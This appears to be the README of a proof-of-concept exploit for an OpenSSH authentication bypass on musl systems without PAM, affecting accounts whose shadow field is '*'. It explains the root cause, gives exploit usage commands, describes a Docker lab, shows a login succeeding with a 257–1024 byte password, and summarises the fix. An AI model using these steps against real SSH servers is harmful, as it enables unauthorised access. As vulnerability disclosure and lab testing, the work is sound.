
Proof-of-concept for CVE-2026-123158: OpenSSH with musl libc and no PAM accepts 257-1024 byte passwords for accounts whose shadow field is "*", bypassing SSH authentication.
Targets Linux systems running OpenSSH < 10.6p2 with musl libc and without PAM compiled in (Alpine's default configuration satisfies this).
When the target account's /etc/shadow password field is exactly * (key-only/locked-password accounts), an attacker can log in via SSH password authentication using any password of 257–1024 bytes.
| Item | Value |
|---|---|
| CVE | CVE-2026-123158 |
| Codename | sshole |
| Type | CWE-394 (Unexpected Status Code/Return Value), authentication bypass |
| CVSS 3.1 | 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Affected versions | OpenSSH 7.3p1 ≤ version < 10.6p2, musl + no PAM |
| Fixed versions | OpenSSH 10.6p2 / Alpine openssh-server-9.9_p2-r1 |
Three conditions converge on the same strcmp():
crypt(3)'s KEY_MAX = 256: when the key exceeds 256 bytes, it directly returns the literal "*"
without hashing (see empirical test below).pick_salt() (introduced by CVE-2016-6210): when the account's shadow field has no usable salt
(*, !, empty), it borrows a $5$/$6$ salt from another account on the system.crypt(password, salt) with the shadow field using strcmp:
a long password yields "*", which equals the account field "*".victim shadow = "*"
password = "A" * 300
pick_salt() -> "$6$Xk9pQ2mZ" (借自 donor 账户)
crypt(300B) -> "*" (musl KEY_MAX)
strcmp("*", "*") == 0 -> 认证通过
This is the key detail discovered through testing (and also the reason for the "first attempt rejected, second attempt succeeds" behavior in the public lab):
sys_auth_passwd(), pw_password points to the static buffer of getspnam().
Then pick_salt() internally calls getspnam() repeatedly and explicit_bzero()s that buffer,
so pw_password is overwritten and strcmp() fails; at the same time, the static salt[32] in pick_salt() is filled.pick_salt() hits the static cache and returns the salt directly without scanning shadow again, so pw_password
remains "*", crypt() returns "*", and the comparison succeeds.Therefore, by default the PoC attempts up to 3 times on the same TCP connection (--attempts), and the bypass is completed on the 2nd attempt;
--attempts 1 will fail consistently and can serve as a control experiment for this mechanism.
CVE-2026-123158/
├── sshole_poc.py # 主 PoC(paramiko 客户端)
├── mock_vuln_sshd.py # 本地脆弱 sshd 模拟器(无 Docker 也能验证)
├── tests/e2e_test.py # 26 项端到端测试(真实 TCP + 模拟器)
├── lab/
│ ├── alpine-openssh-sshd/ # 真实靶场镜像(OpenSSH 9.7p1 / Alpine 3.20)
│ │ ├── Dockerfile # 基于 bengt/alpine-openssh:alpine-3.20
│ │ ├── Dockerfile.source # 源码构建任意版本(A/B 用 10.6p2)
│ │ └── setup.sh # victim:* / donor:$6$ / sshd 配置
│ └── trace/ # LD_PRELOAD 记录 crypt() 调用的调试镜像
├── .deps/ # 本地 paramiko 5.1.0(可直接运行)
└── README.md
Dependencies: Python 3.8+, paramiko. They are already installed in the current directory .deps/, and the script will automatically add it to sys.path;
when switching machines, you can run:
python -m pip install --target .deps paramiko
# 或:uv pip install --target .deps paramiko
python sshole_poc.py --self-test
length musl crypt() sshd accepts verdict
256 hashes normally no PASS
257 returns "*" yes PASS
...
result: PASS
Start the emulator and attack:
python mock_vuln_sshd.py --port 2222 --verbose # 终端 1
python sshole_poc.py -p 2222 -u victim -l 300 # 终端 2
The emulator replicates musl KEY_MAX, the pick_salt() static cache, and the buffer overwrite on the first request,
so the first request is rejected and the second passes, consistent with real sshd.
Full regression:
python tests/e2e_test.py # 26/26 passed
The local Docker context debian points to ssh://debian (192.168.1.49, Debian 13).
The image is based on bengt/alpine-openssh:alpine-3.20: OpenSSH 9.7p1, Alpine 3.20.10,
musl, not linked against libpam (ldd /usr/sbin/sshd shows no libpam).
docker build -t cve-2026-123158-lab lab/alpine-openssh-sshd
docker rm -f cve-2026-123158-lab
docker run -d --name cve-2026-123158-lab -p 2222:2222 cve-2026-123158-lab
Accounts in the container:
| Account | shadow field | Purpose |
|---|---|---|
victim | * | Bypass target, any password of 257–1024 bytes |
donor | $6$Xk9pQ2mZ$... | Provides the salt borrowed by pick_salt() (password donorpass) |
Attacking from Windows:
python sshole_poc.py --target 192.168.1.49 --port 2222 --user victim --length 300
Actual output:
[*] CVE-2026-123158 (sshole) - OpenSSH/musl password auth bypass
[*] target : 192.168.1.49:2222
[*] user : victim
[*] server banner : SSH-2.0-OpenSSH_9.7
[*] password len : 300 (window 257..1024)
[*] auth method : password (2 attempts)
[+] AUTHENTICATED as 'victim' with the long password after 2 attempts
[*] command : id; uname -a; cat /etc/alpine-release ...; ldd --version ... (exit 0)
uid=1001(victim) gid=1001 groups=1001
Linux e4d5bcc92da5 6.12.115+deb13.1-amd64 ... x86_64 Linux
3.20.10
musl libc (x86_64)
[+] VERDICT: VULNERABLE - authentication bypassed (CVE-2026-123158)
Boundary and comparison (on the same real target host):
| Scenario | Result | Exit code |
|---|---|---|
| victim + 256 B (3 attempts) | Rejected, crypt() returns a real $6$ hash | 1 |
| victim + 257 B | Succeeds on the 2nd attempt | 0 |
| victim + 300 B | Succeeds on the 2nd attempt | 0 |
| victim + 1024 B | Succeeds on the 2nd attempt | 0 |
victim + 300 B + --attempts 1 | Rejected (no pre-warmed pick_salt()) | 1 |
| victim + 1025 B | Rejected by the client (sshd limit 1024) | 2 |
donor + donorpass | Normal login (proves the hash path works) | 0 |
| donor + 300 B | Rejected (real hash accounts are unaffected) | 1 |
musl crypt() measured (compiled with gcc inside the container):
len= 255 -> $6$Xk9pQ2mZ$79wP2FVO3P6w...
len= 256 -> $6$Xk9pQ2mZ$RV3YnJuYP6Sz...
len= 257 -> * <== KEY_MAX 触发
len=1024 -> *
lab/alpine-openssh-sshd/Dockerfile.source builds any version from source:
docker build -f lab/alpine-openssh-sshd/Dockerfile.source \
--build-arg OPENSSH_VERSION=10.6p2 -t cve-2026-123158-fixed lab/alpine-openssh-sshd
docker run -d --name cve-2026-123158-fixed -p 2223:2222 cve-2026-123158-fixed
python sshole_poc.py -t 192.168.1.49 -p 2223 -u victim -l 300 # 期望 exit 1
Tested (Alpine 3.22.5 + musl + OpenSSH_10.6p2, also containing victim:* and donor):
[*] server banner : SSH-2.0-OpenSSH_10.6
[-] authentication rejected: password attempt 1/2/3: Authentication failed.
[-] VERDICT: NOT VULNERABLE via this path
exit=1
donor on fixed: True # 正常密码账户仍可登录
Fix in 10.6p2 (source diff summary):
shadow_pw() now returns an xstrdup() copy, and pick_salt() calls freezero() on each iteration,
eliminating the issue of the static buffer being overwritten;strlen(pw_password) >= MIN_PASSWORD_HASH_LEN (4) is added,
so short fields such as */! are rejected directly;